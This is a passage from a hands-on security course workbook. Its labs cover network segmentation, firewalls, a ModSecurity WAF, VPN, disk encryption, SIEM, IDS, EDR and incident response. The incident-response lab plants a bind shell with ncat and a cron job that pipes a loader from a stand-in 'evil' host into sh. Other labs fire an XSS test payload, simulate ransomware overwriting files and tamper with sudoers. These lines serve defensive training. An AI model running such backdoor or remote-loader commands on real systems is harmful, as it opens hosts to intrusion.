STEP 1 OF 7

1

Create three zone namespaces

```
$ ip netns add dmz
```


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Network Segmentation with Linux Namespaces

STEP 2 OF 7

2

Create veth pairs, move one end into each zone

```
$ ip link add veth-dmz type veth peer name veth-dmz-r
```


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Network Segmentation with Linux Namespaces

STEP 3 OF 7

3

Assign IPs and enable IP forwarding

```
$ ip netns exec dmz ip addr add 10.0.10.2/24 dev veth-dmz
```


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Network Segmentation with Linux Namespaces

STEP 4 OF 7

4

Verify full reachability with no policy yet

```
$ ip netns exec dmz ping -c1 10.0.20.2
```


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Network Segmentation with Linux Namespaces

STEP 5 OF 7

5

Set default-deny FORWARD policy

```
$ iptables -P FORWARD DROP
```


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Network Segmentation with Linux Namespaces

STEP 6 OF 7

6

Add explicit zone allow/deny rules

```
$ iptables -A FORWARD -s 10.0.20.0/24 -d 10.0.10.0/24 -j ACCEPT
```


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Network Segmentation with Linux Namespaces

STEP 7 OF 7

7

Re-test the enforced screened-subnet policy

```
$ ip netns exec dmz ping -c1 -W1 10.0.20.2 || true
```


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LAB 14 · VERIFY

Network Segmentation with Linux Namespaces

✅ Test it

DMZ-to-Internal pings fail while Internal-to-DMZ and Mgmt-to-DMZ succeed.

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DOMAIN 03 · HANDS-ON

Stateful Firewall with UFW and nftables

LAB 15

Compare the UFW and nftables front-ends over the same netfilter engine, build an allow-list ruleset, and read its packet counters.

You'll build

A default-deny host firewall with visible counters

Tools: ufw, nftables, nginx, netcat

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Stateful Firewall with UFW and nftables

STEP 1 OF 7

1

Install firewall tools and a test web server

```
$ apt install -y ufw nftables nginx netcat-openbsd
```


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Stateful Firewall with UFW and nftables

STEP 2 OF 7

2

Build a UFW allow-list for SSH and HTTP

```
$ ufw allow 80/tcp comment 'HTTP from anywhere'
```


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Stateful Firewall with UFW and nftables

STEP 3 OF 7

3

Enable UFW and show numbered status

```
$ ufw --force enable
```


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Stateful Firewall with UFW and nftables

STEP 4 OF 7

4

Test an allowed port versus a denied port

```
$ nc -zv 127.0.0.1 23 2>&1
```


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Stateful Firewall with UFW and nftables

STEP 5 OF 7

5

Inspect the underlying nftables ruleset

```
$ nft list ruleset | head -40
```


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Stateful Firewall with UFW and nftables

STEP 6 OF 7

6

Write and load an nftables ruleset directly

```
$ systemctl enable --now nftables
```


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Stateful Firewall with UFW and nftables

STEP 7 OF 7

7

Watch per-rule counters under load

```
$ nft list chain inet filter input | grep counter
```


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LAB 15 · VERIFY

Stateful Firewall with UFW and nftables

✅ Test it

Port 80 answers, port 23 is blocked, and rule counters increment under load.

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DOMAIN 03 · HANDS-ON

Web Application Firewall with ModSecurity

LAB 16

Deploy Apache with ModSecurity and the OWASP Core Rule Set, then watch it block SQLi, XSS, traversal, and command-injection payloads.

You'll build

An Apache site protected by the OWASP CRS

Tools: apache2, libapache2-mod-security2, modsecurity-crs

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Web Application Firewall with ModSecurity

STEP 1 OF 7

1

Install Apache, ModSecurity, and the CRS

```
$ apt install -y apache2 libapache2-mod-security2 modsecurity-crs
```


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Web Application Firewall with ModSecurity

STEP 2 OF 7

2

Turn the rule engine from DetectionOnly to On

```
$ sed -i 's/^SecRuleEngine DetectionOnly/SecRuleEngine On/' /etc/modsecurity/modsecurity.conf
```


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Web Application Firewall with ModSecurity

STEP 3 OF 7

3

Load the OWASP CRS and restart Apache

```
$ echo 'Include /usr/share/modsecurity-crs/owasp-crs.load' > /etc/modsecurity/owasp-crs.conf
```


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Web Application Firewall with ModSecurity

STEP 4 OF 7

4

Confirm the module and rules are loaded

```
$ apachectl -M 2>/dev/null | grep security2
```


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Web Application Firewall with ModSecurity

STEP 5 OF 7

5

Fire SQLi, XSS, traversal, and cmd payloads

```
$ curl -s -o /dev/null -w "%{http_code}\n" "http://127.0.0.1/?q=<script>alert(1)</script>"
```


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Web Application Firewall with ModSecurity

STEP 6 OF 7

6

Read the audit log for matched rules

```
$ tail -50 /var/log/modsec_audit.log
```


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Web Application Firewall with ModSecurity

STEP 7 OF 7

7

Tune a false positive and reload

```
$ systemctl reload apache2
```


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LAB 16 · VERIFY

Web Application Firewall with ModSecurity

✅ Test it

Each attack payload returns HTTP 403 and is recorded in the audit log.

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DOMAIN 03 · HANDS-ON

Site-to-Site VPN with WireGuard

LAB 17

Build an encrypted WireGuard tunnel between two simulated sites running in separate Linux network namespaces.

You'll build

A two-endpoint WireGuard tunnel across namespaces

Tools: wireguard, wireguard-tools, ip netns

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Site-to-Site VPN with WireGuard

STEP 1 OF 6

1

Install WireGuard and load the kernel module

```
$ apt install -y wireguard wireguard-tools
```


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Site-to-Site VPN with WireGuard

STEP 2 OF 6

2

Generate a key pair for each site

```
$ wg genkey | tee siteA.key | wg pubkey > siteA.pub
```


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Site-to-Site VPN with WireGuard

STEP 3 OF 6

3

Build siteA/siteB namespaces with wg links

```
$ ip link add wgA type wireguard
```


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Site-to-Site VPN with WireGuard

STEP 4 OF 6

4

Set keys, listen ports, and allowed-ips

```
$ ip netns exec siteA wg set wgA private-key siteA.key listen-port 51820
```


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Site-to-Site VPN with WireGuard

STEP 5 OF 6

5

Set peer endpoints over host loopback

```
$ ip netns exec siteA wg set wgA peer "$(cat siteB.pub)" endpoint 127.0.0.1:51821
```


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Site-to-Site VPN with WireGuard

STEP 6 OF 6

6

Verify the tunnel with ping and wg show

```
$ ip netns exec siteA ping -c3 10.99.0.2
```


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LAB 17 · VERIFY

Site-to-Site VPN with WireGuard

✅ Test it

Ping succeeds and wg show reports a recent handshake with transferred bytes.

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Data at Rest: LUKS Full-Disk Encryption

LAB 18

Create a LUKS2-encrypted volume on a loopback file, mount it, rotate its passphrase, and add a key-file slot.

You'll build

An encrypted volume with rotation and a keyfile

Tools: cryptsetup, losetup, mkfs.ext4

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Data at Rest: LUKS Full-Disk Encryption

STEP 1 OF 7

1

Install cryptsetup

```
$ apt install -y cryptsetup
```


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Data at Rest: LUKS Full-Disk Encryption

STEP 2 OF 7

2

Create a 50MB image on a loop device

```
$ losetup -fP --show vault.img
```


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Data at Rest: LUKS Full-Disk Encryption

STEP 3 OF 7

3

Format the loop device with LUKS2

```
$ echo -n "Lab1234!" | cryptsetup luksFormat --type luks2 --cipher aes-xts-plain64 --key-size 512 --pbkdf argon2id
"$LOOP" -
```


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Data at Rest: LUKS Full-Disk Encryption

STEP 4 OF 7

4

Open it, make a filesystem, and mount

```
$ echo -n "Lab1234!" | cryptsetup luksOpen "$LOOP" vault -
```


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Data at Rest: LUKS Full-Disk Encryption

STEP 5 OF 7

5

Confirm plaintext is absent from the raw image

```
$ strings vault.img | grep -i "secret data"
```


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Data at Rest: LUKS Full-Disk Encryption

STEP 6 OF 7

6

Rotate the passphrase

```
$ echo -e "Lab1234!\nNewPass!9" | cryptsetup luksChangeKey "$LOOP"
```


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Data at Rest: LUKS Full-Disk Encryption

STEP 7 OF 7

7

Add a key-file slot for unattended unlock

```
$ cryptsetup luksAddKey "$LOOP" /root/luks.key -
```


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LAB 18 · VERIFY

Data at Rest: LUKS Full-Disk Encryption

✅ Test it

The secret string is unrecoverable from the raw image and both credentials unlock the volume.

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DOMAIN 03 · HANDS-ON

TLS Hardening and Cipher Audit

LAB 19

Audit a fresh nginx HTTPS site with testssl.sh, apply a hardened TLS configuration, and re-audit to confirm improvement.

You'll build

A hardened TLS 1.2/1.3 nginx site with HSTS

Tools: nginx, openssl, testssl.sh

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TLS Hardening and Cipher Audit

STEP 1 OF 5

1

Set up a self-signed HTTPS nginx site

```
$ openssl req -x509 -newkey rsa:2048 -nodes -days 30 -keyout /etc/ssl/private/lab.key -out /etc/ssl/certs/lab.crt -subj "/CN=lab.local"
```


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TLS Hardening and Cipher Audit

STEP 2 OF 5

2

Clone testssl.sh and run a baseline audit

```
$ ./testssl.sh -p -P -s --color 0 https://localhost | tee ../baseline.txt
```


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TLS Hardening and Cipher Audit

STEP 3 OF 5

3

Write a hardened TLS snippet and include it

```
$ sed -i '/listen 443/a include /etc/nginx/snippets/tls-hardening.conf;' /etc/nginx/sites-available/default
```


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TLS Hardening and Cipher Audit

STEP 4 OF 5

4

Reload nginx and re-audit

```
$ nginx -t && systemctl reload nginx
```


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TLS Hardening and Cipher Audit

STEP 5 OF 5

5

Cross-check downgrade resistance with openssl

```
$ openssl s_client -connect localhost:443 -tls1_1
```


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LAB 19 · VERIFY

TLS Hardening and Cipher Audit

✅ Test it

TLS 1.1 is rejected while TLS 1.3 negotiates a strong AEAD cipher and HSTS is present.

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DOMAIN 03 · HANDS-ON

Backup and Recovery with restic

LAB 20

Configure encrypted, deduplicated restic backups, simulate ransomware, and perform a point-in-time restore.

You'll build

An encrypted restic repo with tested recovery

Tools: restic, python3

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Backup and Recovery with restic

STEP 1 OF 7

1

Install restic

```
$ apt install -y restic
```


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Backup and Recovery with restic

STEP 2 OF 7

2

Create data and init an encrypted repo

```
$ restic -r /backup init
```


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Backup and Recovery with restic

STEP 3 OF 7

3

Take the first snapshot

```
$ restic -r /backup backup /data
```


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Backup and Recovery with restic

STEP 4 OF 7

4

Modify data and take a second snapshot

```
$ restic -r /backup backup /data
```


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Backup and Recovery with restic

STEP 5 OF 7

5

Simulate ransomware overwriting all files

```
$ for f in /data/*.txt; do echo "ENCRYPTED_BY_RANSOMWARE" > "$f"; done
```


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Backup and Recovery with restic

STEP 6 OF 7

6

Restore from the pre-ransomware snapshot

```
$ restic -r /backup restore $SNAP --target /restore
```


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Backup and Recovery with restic

STEP 7 OF 7

7

Verify restored files match the originals

```
$ diff -r /restore/data /data
```


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LAB 20 · VERIFY

Backup and Recovery with restic

✅ Test it

The pre-ransomware snapshot restores the original file contents intact.

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DOMAIN RECAP

Recap — Security Architecture

- You can now: Segment networks with namespaces
- You can now: Build allow-list firewalls and read counters
- You can now: Deploy a layer-7 WAF with the OWASP CRS
- You can now: Build an encrypted WireGuard tunnel
- You can now: Encrypt data at rest with LUKS2
- You can now: Audit and harden an HTTPS TLS config
- You can now: Run encrypted backups and recover from ransomware

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04

DOMAIN 04

Security Operations

Hardening · IAM · MFA · SIEM · IDS · EDR · FIM · Vuln mgmt · IR · SOAR

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EXAM WEIGHTING 28%

Key Concepts — Security Operations

1. Operational security hardens access (SSH, PAM, sudo, MFA) and monitors continuously (SIEM, IDS, EDR, file-integrity monitoring).

2. A SIEM centralises and correlates logs; an IDS inspects network traffic; EDR and osquery interrogate endpoints.

3. Vulnerability management is a continuous pipeline: discover, prioritise (CVSS), remediate and verify.

4. Incident response follows preparation → detection → containment → eradication → recovery → lessons learned, increasingly automated with SOAR playbooks.

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WHAT YOU'LL DO

Hands-On Labs — Security Operations

Labs 21–24

- SSH Hardening + Fail2ban
- IAM with PAM and sudo
- Multi-Factor Authentication with TOTP
- SIEM Basics with Wazuh

Labs 25–28

- Network IDS with Suricata
- Endpoint Detection with osquery
- File Integrity Monitoring with AIDE
- Vulnerability Management with Trivy

Labs 29–30

- Incident Response and Forensics
- Automation and Orchestration (Mini-SOAR)

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DOMAIN 04 · HANDS-ON

SSH Hardening + Fail2ban

LAB 21

Switch SSH to key-based authentication and let Fail2ban ban repeated failed logins.

You'll build

Key-only SSH server with an active brute-force jail.

Tools: openssh-server, fail2ban, ssh-keygen, iptables

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SSH Hardening + Fail2ban

STEP 1 OF 8

1

Install Fail2ban

```
$ apt update && apt install -y fail2ban
```


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SSH Hardening + Fail2ban

STEP 2 OF 8

2

Generate an ed25519 key pair

```
$ ssh-keygen -t ed25519 -f ~/.ssh/lab_ed25519 -N "" -C "lab-key"
```


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SSH Hardening + Fail2ban

STEP 3 OF 8

3

Authorize the public key

```
$ cat ~/.ssh/lab_ed25519.pub >> ~/.ssh/authorized_keys
```


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SSH Hardening + Fail2ban

STEP 4 OF 8

4

Harden sshd (key-only, no root password)

```
$ cat > /etc/ssh/sshd_config.d/99-hardening.conf <<'EOF'
PermitRootLogin prohibit-password
PasswordAuthentication no
MaxAuthTries 3
EOF
systemctl restart ssh
```


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SSH Hardening + Fail2ban

STEP 5 OF 8

5

Configure an sshd jail

```
$ cat > /etc/fail2ban/jail.d/sshd.local <<'EOF'
[sshd]
enabled = true
backend = systemd
maxretry = 3
bantime = 1h
EOF
systemctl restart fail2ban
```


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SSH Hardening + Fail2ban

STEP 6 OF 8

6

Trigger a ban with failed logins

```
$ for i in 1 2 3 4 5; do ssh -o PubkeyAuthentication=no -o StrictHostKeyChecking=no baduser@127.0.0.1 2>/dev/null; done
```


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SSH Hardening + Fail2ban

STEP 7 OF 8

7

Check the ban status

```
$ fail2ban-client status sshd
```


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SSH Hardening + Fail2ban

STEP 8 OF 8

8

Unban as admin override

```
$ fail2ban-client set sshd unbanip 127.0.0.1
```


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LAB 21 · VERIFY

SSH Hardening + Fail2ban

✅ Test it

fail2ban-client status sshd lists 127.0.0.1 as banned, and password login is rejected.

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DOMAIN 04 · HANDS-ON

IAM with PAM and sudo

LAB 22

Map Linux groups to roles, restrict sudo per role, and enforce time and lockout policy via PAM.

You'll build

Three RBAC roles with scoped sudo, pam_time and pam_faillock.

Tools: sudo, PAM, pam_time, pam_faillock, chage

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IAM with PAM and sudo

STEP 1 OF 7

1

Create role groups and users

```
$ groupadd webops; useradd -m -G webops alice
```


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IAM with PAM and sudo

STEP 2 OF 7

2

Scope sudo per role in sudoers.d

```
$ cat > /etc/sudoers.d/roles <<'EOF'
%webops ALL=(ALL) NOPASSWD: /bin/systemctl restart nginx
EOF
chmod 440 /etc/sudoers.d/roles
```


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IAM with PAM and sudo

STEP 3 OF 7

3

Verify least privilege

```
$ su - alice -c 'sudo systemctl status nginx 2>&1 | head -2'
```


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IAM with PAM and sudo

STEP 4 OF 7

4

Add a time-of-day restriction

```
$ echo '*;*;alice;Wd0900-1800' >> /etc/security/time.conf
```


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IAM with PAM and sudo

STEP 5 OF 7

5

Enable pam_time in the login stack

```
$ grep -q pam_time /etc/pam.d/login || echo 'account required pam_time.so' >> /etc/pam.d/login
```


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IAM with PAM and sudo

STEP 6 OF 7

6

Configure and enable pam_faillock

```
$ sed -i '/pam_unix.so/i auth required pam_faillock.so preauth silent' /etc/pam.d/common-auth
```


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IAM with PAM and sudo

STEP 7 OF 7

7

De-provision (offboard) a user

```
$ usermod -L alice; chage -E 0 alice; passwd -S alice
```


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LAB 22 · VERIFY

IAM with PAM and sudo

✅ Test it

alice can restart nginx but not run mysqldump, and faillock counts failed attempts.

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DOMAIN 04 · HANDS-ON

Multi-Factor Authentication with TOTP

LAB 23

Enrol a user with Google Authenticator's PAM module and enforce SSH key plus TOTP.

You'll build

SSH requiring publickey and a TOTP one-time code.

Tools: libpam-google-authenticator, qrencode, oathtool, PAM

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Multi-Factor Authentication with TOTP

STEP 1 OF 7

1

Install the PAM module and helpers

```
$ apt update && apt install -y libpam-google-authenticator qrencode
```


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Multi-Factor Authentication with TOTP

STEP 2 OF 7

2

Enrol a user with a TOTP secret

```
$ sudo -u mfauser google-authenticator -t -d -f -r 3 -R 30 -W -q -s /home/mfauser/.google_authenticator
```


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Multi-Factor Authentication with TOTP

STEP 3 OF 7

3

Display the secret as a QR code

```
$ qrencode -t ANSI "otpauth://totp/lab:mfauser?secret=$SECRET&issuer=lab"
```


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Multi-Factor Authentication with TOTP

STEP 4 OF 7

4

Wire the module into SSH PAM

```
$ echo 'auth required pam_google_authenticator.so' >> /etc/pam.d/sshd
```


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Multi-Factor Authentication with TOTP

STEP 5 OF 7

5

Require two factors in sshd

```
$ echo 'AuthenticationMethods publickey,keyboard-interactive' >> /etc/ssh/sshd_config; systemctl restart ssh
```


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Multi-Factor Authentication with TOTP

STEP 6 OF 7

6

Generate a code from the CLI

```
$ apt install -y oathtool && oathtool --totp -b "$SECRET"
```


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Multi-Factor Authentication with TOTP

STEP 7 OF 7

7

Log in with key + code to verify

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LAB 23 · VERIFY

Multi-Factor Authentication with TOTP

✅ Test it

SSH login succeeds only after both the key and a valid 6-digit TOTP code.

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DOMAIN 04 · HANDS-ON

SIEM Basics with Wazuh

LAB 24

Install Wazuh all-in-one, register an agent, and pivot a brute-force alert to the attacker IP.

You'll build

Single-node Wazuh manager, indexer, dashboard and local agent.

Tools: Wazuh manager/indexer/agent, curl, jq, REST API

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SIEM Basics with Wazuh

STEP 1 OF 8

1

Download and run the all-in-one installer

```
$ curl -sO https://packages.wazuh.com/4.9/wazuh-install.sh && bash wazuh-install.sh -a -i
```


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SIEM Basics with Wazuh

STEP 2 OF 8

2

Confirm core services and ports

```
$ systemctl status wazuh-manager --no-pager | head -5; ss -tlnp | grep -E '1514|55000|9200'
```


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SIEM Basics with Wazuh

STEP 3 OF 8

3

Register and install a local agent

```
$ /var/ossec/bin/manage_agents -a -n local -i 127.0.0.1 -q
```


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SIEM Basics with Wazuh

STEP 4 OF 8

4

Install the agent package

```
$ WAZUH_MANAGER='127.0.0.1' dpkg -i wazuh-agent_4.9.0-1_amd64.deb; systemctl enable --now wazuh-agent
```


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SIEM Basics with Wazuh

STEP 5 OF 8

5

Generate brute-force evidence

```
$ for i in $(seq 1 10); do ssh -o PubkeyAuthentication=no baduser@127.0.0.1 2>/dev/null; done
```


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SIEM Basics with Wazuh

STEP 6 OF 8

6

Read the correlated alert

```
$ grep -E 'rule_id|level' /var/ossec/logs/alerts/alerts.log | tail
```


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SIEM Basics with Wazuh

STEP 7 OF 8

7

Query alerts via the REST API

```
$ TOKEN=$(curl -sk -u wazuh-wui:wazuh-wui -X POST https://localhost:55000/security/user/authenticate | jq
-r .data.token)
```


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SIEM Basics with Wazuh

STEP 8 OF 8

8

Pivot to srcip in the dashboard

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LAB 24 · VERIFY

SIEM Basics with Wazuh

✅ Test it

Rule 5712 (SSHD brute force) at level 10 appears and its srcip is the attacker IP.

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DOMAIN 04 · HANDS-ON

Network IDS with Suricata

LAB 25

Run Suricata in IDS mode with ET Open rules, trigger a known alert, then add a custom rule.

You'll build

Suricata IDS logging alerts to eve.json with a custom rule.

Tools: suricata, suricata-update, jq, curl

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Network IDS with Suricata

STEP 1 OF 7

1

Install Suricata and rules

```
$ apt update && apt install -y suricata jq && suricata-update
```


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Network IDS with Suricata

STEP 2 OF 7

2

Identify the live interface

```
$ IFACE=$(ip route | awk '/default/ {print $5; exit}'); echo $IFACE
```


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Network IDS with Suricata

STEP 3 OF 7

3

Run Suricata in IDS mode

```
$ suricata -i $IFACE -l /var/log/suricata --runmode workers -D
```


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Network IDS with Suricata

STEP 4 OF 7

4

Trigger a known signature

```
$ curl -s --user-agent "test" "http://testmynids.org/uid/index.html"
```


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Network IDS with Suricata

STEP 5 OF 7

5

Read the alert from eve.json

```
$ jq -c 'select(.event_type=="alert") | {sig:.alert.signature, src:.src_ip}' /var/log/suricata/eve.json | tail
```


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Network IDS with Suricata

STEP 6 OF 7

6

Write and include a custom rule

```
$ cat > /etc/suricata/rules/lab.rules <<'EOF'
alert http any any -> any any (msg:"LAB curl UA"; http.user_agent; content:"curl/"; sid:9000002; rev:1;)
EOF
```


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Network IDS with Suricata

STEP 7 OF 7

7

Reload rules and trigger it

```
$ suricatasc -c reload-rules; curl -s "http://example.com/?id=1" >/dev/null
```


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LAB 25 · VERIFY

Network IDS with Suricata

✅ Test it

eve.json shows the ET Open alert and the custom sid 9000002 firing on the curl request.

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DOMAIN 04 · HANDS-ON

Endpoint Detection with osquery

LAB 26

Install osquery, ask SQL questions of the live host, and schedule high-signal detections.

You'll build

osquery interactive shell plus a scheduled osqueryd detection pack.

Tools: osquery, osqueryi, osqueryd, SQL

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Endpoint Detection with osquery

STEP 1 OF 7

1

Add the repo and install osquery

```
$ curl -fsSL https://pkg.osquery.io/deb/pubkey.gpg | gpg --dearmor -o /usr/share/keyrings/osquery.gpg
```


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Endpoint Detection with osquery

STEP 2 OF 7

2

Install the package

```
$ echo 'deb [arch=amd64 signed-by=/usr/share/keyrings/osquery.gpg] https://pkg.osquery.io/deb deb main' >
/etc/apt/sources.list.d/osquery.list && apt update && apt install -y osquery
```


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Endpoint Detection with osquery

STEP 3 OF 7

3

Run interactive SQL queries

```
$ osqueryi --json "SELECT * FROM listening_ports WHERE address = '0.0.0.0';"
```


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Endpoint Detection with osquery

STEP 4 OF 7

4

Detect a fileless process

```
$ cp /bin/sleep /tmp/.evil; /tmp/.evil 600 & rm /tmp/.evil; osqueryi --json "SELECT name, pid FROM processes WHERE on_disk = 0;"
```


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Endpoint Detection with osquery

STEP 5 OF 7

5

Detect SUID binaries

```
$ osqueryi --json "SELECT path, mode FROM file WHERE path LIKE '/usr/bin/%' AND mode LIKE '%4%' LIMIT 10;"
```


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Endpoint Detection with osquery

STEP 6 OF 7

6

Schedule queries with osqueryd

```
$ cat > /etc/osquery/osquery.conf <<'EOF'
{ "schedule": { "fileless_proc": { "query": "SELECT name, pid FROM processes WHERE on_disk = 0;", "interval": 60 } } }
EOF
systemctl enable --now osqueryd
```


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Endpoint Detection with osquery

STEP 7 OF 7

7

Read the JSON results

```
$ tail -3 /var/log/osquery/osqueryd.results.log
```


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LAB 26 · VERIFY

Endpoint Detection with osquery

✅ Test it

osqueryd writes JSON results and the on_disk=0 query surfaces the deleted-binary process.

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DOMAIN 04 · HANDS-ON

File Integrity Monitoring with AIDE

LAB 27

Baseline critical files with AIDE, tamper one, and watch the integrity diff report.

You'll build

AIDE baseline database with a daily integrity check.

Tools: aide, aideinit, cron, logger

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File Integrity Monitoring with AIDE

STEP 1 OF 7

1

Install AIDE

```
$ apt update && apt install -y aide
```


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File Integrity Monitoring with AIDE

STEP 2 OF 7

2

Define custom check groups and scope

```
$ cat > /etc/aide/aide.conf.d/99_lab <<'EOF'
LAB_NORMAL = p+i+n+u+g+s+m+c+sha256
/etc/passwd LAB_NORMAL
/etc/sudoers LAB_NORMAL
EOF
```


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File Integrity Monitoring with AIDE

STEP 3 OF 7

3

Initialise the baseline

```
$ aideinit -y -f && mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
```


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File Integrity Monitoring with AIDE

STEP 4 OF 7

4

Run a clean check

```
$ aide --check | head -10
```


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File Integrity Monitoring with AIDE

STEP 5 OF 7

5

Tamper and re-check

```
$ echo '# tampered' >> /etc/sudoers; useradd -m attacker; aide --check 2>&1 | head -25
```


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File Integrity Monitoring with AIDE

STEP 6 OF 7

6

Roll the baseline forward

```
$ aide --update -B 'database_new=file:/var/lib/aide/aide.db.new' && mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
```


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File Integrity Monitoring with AIDE

STEP 7 OF 7

7

Schedule a daily check to syslog

```
$ cat > /etc/cron.daily/aide-check <<'EOF'
#!/bin/sh
/usr/bin/aide --check | logger -t aide
EOF
chmod +x /etc/cron.daily/aide-check
```


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LAB 27 · VERIFY

File Integrity Monitoring with AIDE

✅ Test it

After tampering, aide --check reports the changed sudoers and new user; a clean baseline reports none.

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DOMAIN 04 · HANDS-ON

Vulnerability Management with Trivy

LAB 28

Scan an OS, filesystem, and container image with Trivy and export a CVSS-sorted report.

You'll build

Trivy scanning pipeline producing a prioritised remediation queue.

Tools: trivy, jq, docker.io

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Vulnerability Management with Trivy

STEP 1 OF 7

1

Add the Trivy repo and install

```
$ wget -qO - https://aquasecurity.github.io/trivy-repo/deb/public.key | gpg --dearmor > /usr/share/keyrings/trivy.gpg
```


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Vulnerability Management with Trivy

STEP 2 OF 7

2

Register the generic repo

```
$ echo 'deb [signed-by=/usr/share/keyrings/trivy.gpg] https://aquasecurity.github.io/trivy-repo/deb generic main' >
/etc/apt/sources.list.d/trivy.list && apt update && apt install -y trivy
```


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Vulnerability Management with Trivy

STEP 3 OF 7

3

Scan the running OS

```
$ trivy rootfs --scanners vuln --severity HIGH,CRITICAL / 2>/dev/null | tail -40
```


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Vulnerability Management with Trivy

STEP 4 OF 7

4

Export findings to JSON

```
$ trivy rootfs --severity HIGH,CRITICAL --format json -o trivy.json /
```


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Vulnerability Management with Trivy

STEP 5 OF 7

5

Scan a container image

```
$ docker pull node:14-alpine && trivy image --severity HIGH,CRITICAL node:14-alpine | head -30
```


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Vulnerability Management with Trivy

STEP 6 OF 7

6

Build a CVSS-sorted patch queue

```
$ trivy image --format json node:14-alpine | jq -r '.Results[].Vulnerabilities[]? | [.VulnerabilityID, .Severity,
(.CVSS.nvd.V3Score // 0)] | @tsv' | sort -k3,3 -nr | head -10
```


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Vulnerability Management with Trivy

STEP 7 OF 7

7

Scan for hardcoded secrets

```
$ trivy fs --scanners secret src/
```


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LAB 28 · VERIFY

Vulnerability Management with Trivy

✅ Test it

Trivy lists HIGH/CRITICAL CVEs, produces a CVSS-sorted top-10, and flags the planted AWS secret.

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DOMAIN 04 · HANDS-ON

Incident Response and Forensics

LAB 29

Simulate a compromise then work the NIST IR phases, preserving evidence with SHA-256 hashes.

You'll build

A full triage-to-report incident workflow on a simulated compromise.

Tools: ncat, ss, ps, crontab, sha256sum, iptables

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Incident Response and Forensics

STEP 1 OF 8

1

Prepare an evidence drop

```
$ mkdir -p /evidence/$(date +%Y%m%d) && cd /evidence/$(date +%Y%m%d)
```


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Incident Response and Forensics

STEP 2 OF 8

2

Plant the compromise

```
$ apt-get install -y ncat; nohup ncat -lk 4444 -e /bin/bash & echo '* * * * * curl -s http://evil/loader.sh | sh' | crontab -u attacker -
```


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Incident Response and Forensics

STEP 3 OF 8

3

Detect indicators of compromise

```
$ ss -tlnp | grep 4444; ps -ef | grep -E 'ncat|bash' | head
```


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Incident Response and Forensics

STEP 4 OF 8

4

Collect volatile evidence and hash it

```
$ ps auxf > ps.txt; ss -tnp > sockets.txt; sha256sum *.txt *.log > evidence.sha256
```


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Incident Response and Forensics

STEP 5 OF 8

5

Contain the incident

```
$ iptables -I INPUT -p tcp --dport 4444 -j DROP; usermod -L attacker; pkill -u attacker
```


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Incident Response and Forensics

STEP 6 OF 8

6

Eradicate the threat

```
$ crontab -u attacker -r; pkill ncat; userdel -rf attacker
```


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Incident Response and Forensics

STEP 7 OF 8

7

Validate recovery

```
$ ss -tlnp | grep 4444 || echo 'no backdoor listener'
```


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Incident Response and Forensics

STEP 8 OF 8

8

Generate the incident report

```
$ cat > report.md <<EOF
# Incident report
EOF
sha256sum report.md
```


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LAB 29 · VERIFY

Incident Response and Forensics

✅ Test it

The listener/user/cron are gone at recovery and evidence.sha256 re-verifies with no tampering.

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DOMAIN 04 · HANDS-ON

Automation and Orchestration (Mini-SOAR)

LAB 30

Write a bash SOAR playbook that watches auth.log, auto-bans IPs, opens tickets, and logs.

You'll build

A systemd-managed mini-SOAR service auto-banning brute-force IPs.

Tools: bash, awk, iptables, systemd, logger, inotify-tools

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Automation and Orchestration (Mini-SOAR)

STEP 1 OF 7

1

Install inotify-tools

```
$ apt update && apt install -y inotify-tools
```


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Automation and Orchestration (Mini-SOAR)

STEP 2 OF 7

2

Write the SOAR playbook

```
$ cat > /usr/local/bin/soar.sh <<'EOF'
#!/bin/bash
tail -F /var/log/auth.log | while read -r line; do ...; done
EOF
chmod +x /usr/local/bin/soar.sh
```


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Automation and Orchestration (Mini-SOAR)

STEP 3 OF 7

3

Install it as a systemd unit

```
$ cat > /etc/systemd/system/soar.service <<'EOF'
[Service]
ExecStart=/usr/local/bin/soar.sh
Restart=always
EOF
```


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Automation and Orchestration (Mini-SOAR)

STEP 4 OF 7

4

Enable the service

```
$ systemctl daemon-reload && systemctl enable --now soar.service
```


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Automation and Orchestration (Mini-SOAR)

STEP 5 OF 7

5

Trigger brute-force traffic

```
$ for i in $(seq 1 6); do ssh -o PubkeyAuthentication=no bad@127.0.0.1 2>/dev/null; done
```


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Automation and Orchestration (Mini-SOAR)

STEP 6 OF 7

6

Observe tickets, bans, and logs

```
$ ls /var/tickets/; iptables -L INPUT -n | head; journalctl -t soar -n 5 --no-pager
```


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Automation and Orchestration (Mini-SOAR)

STEP 7 OF 7

7

Add an API escalation hook

```
$ curl -X POST https://hooks.slack.com/services/... -d '...'
```


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LAB 30 · VERIFY

Automation and Orchestration (Mini-SOAR)

✅ Test it

A ticket JSON is created, the source IP is DROPped in iptables, and a soar syslog entry appears.

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DOMAIN RECAP

Recap — Security Operations

- You can now: Harden SSH to key-only auth and auto-ban brute-force IPs
- You can now: Model RBAC with groups, scope sudo per role, add PAM controls
- You can now: Add a TOTP second factor to SSH via a PAM module
- You can now: Stand up a single-node SIEM and pivot from an alert to an IP
- You can now: Run Suricata IDS, load rules, and write a custom signature
- You can now: Query the host with SQL and schedule detections
- You can now: Baseline critical files and detect tampering
- You can now: Scan OS, filesystem, and image and prioritise by CVSS

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05

DOMAIN 05

Security Program Management & Oversight

Risk & CVSS · OSINT · Nmap · Pentesting · Compliance · Awareness

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EXAM WEIGHTING 20%

Key Concepts — Security Program Management & Oversight

1. Risk management records threats in a register, scores them (CVSS, likelihood × impact) and drives treatment decisions.

2. Reconnaissance — passive OSINT and active scanning with Nmap — maps an organisation's exposure the way an attacker would.

3. Penetration testing safely validates exploitability; every engagement needs authorisation and Rules of Engagement.

4. Governance proves control effectiveness through compliance auditing (OpenSCAP/CIS) and measurable security-awareness testing.

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WHAT YOU'LL DO

Hands-On Labs — Security Program Management & Oversight

Labs 31–32

- Risk Register, CVSS Scoring, and Quantitative Risk
- Passive Reconnaissance / OSINT

Labs 33–34

- Active Reconnaissance with Nmap
- Penetration Testing with Metasploit (Authorised Lab)

Labs 35–36

- Compliance Audit with OpenSCAP
- Security Awareness: Run a Phishing Simulation with GoPhish

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DOMAIN 05 · HANDS-ON

Risk Register, CVSS Scoring, and Quantitative Risk

LAB 31

Build a CSV risk register, score findings with CVSS v3.1, and calculate ALE to justify control spend.

You'll build

CSV risk register with CVSS and ALE math

Tools: python3, FIRST.org CVSS calculator, column, bash

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Risk Register, CVSS Scoring, and Quantitative Risk

STEP 1 OF 6

1

Create and view the CSV risk register

```
$ column -t -s, risk-register.csv
```


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Risk Register, CVSS Scoring, and Quantitative Risk

STEP 2 OF 6

2

